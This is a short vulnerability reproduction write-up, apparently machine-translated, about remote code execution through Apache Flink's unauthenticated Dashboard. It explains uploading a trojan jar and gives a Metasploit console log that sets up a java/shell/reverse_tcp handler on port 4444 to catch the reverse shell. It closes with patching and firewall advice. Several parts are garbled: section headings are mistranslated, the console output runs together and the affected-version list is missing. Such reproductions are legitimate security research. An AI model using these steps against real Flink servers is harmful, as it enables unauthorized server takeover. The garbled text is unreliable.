Reproduction of Apache Flink unauthorized access to remote code command execution
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Apache Flink unauthorized access-remote code command execution vulnerability recurrence
Apache Flink Dashboard does not have user rights authentication by default. Attackers can upload Trojan jar packages directly through unauthorized Flink Dashboard console and remotely execute arbitrary system commands to gain server privileges, which is of great risk.
Second, influence the version
Apache Flink rce.jar
2. Msf configuration monitoring
Msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf5exploit (multi/handler) > set payload java/shell/reverse_tcp payload= > java/shell/reverse_tcpmsf5exploit (multi/handler) > show options Moduleoptions (exploit/multi/handler): NameCurrent Setting Required Description- Payloadoptions (java/shell/reverse_tcp): NameCurrent Setting Required Description- -LHOSTyes The listen address (an interface may be specified) LPORT4444 yes The listen portExploittarget:IdName-0Wildcard Targetmsf5exploit (multi/handler) > set LHOST XX.XX.XX.XXLHOST= > XX.XX.XX.XXmsf5exploit (multi/handler) > exploit [*] Started reverse TCP handler on XX.XX.XX.XX:4444
3. Upload the Jar package and submit it
Listen to the shell that accepts the rebound to gain permission
IV. Safety recommendations
1. Please follow the Apache Flink official for updated information: https://flink.apache.org/
two。 Set a firewall policy for ApacheFlinkDashboard (prohibit Dashboard access, or ensure that only trusted endpoints are open), allow only whitelist IP access, and add Digest authentication to the service in the Web proxy to prevent unauthorized access.
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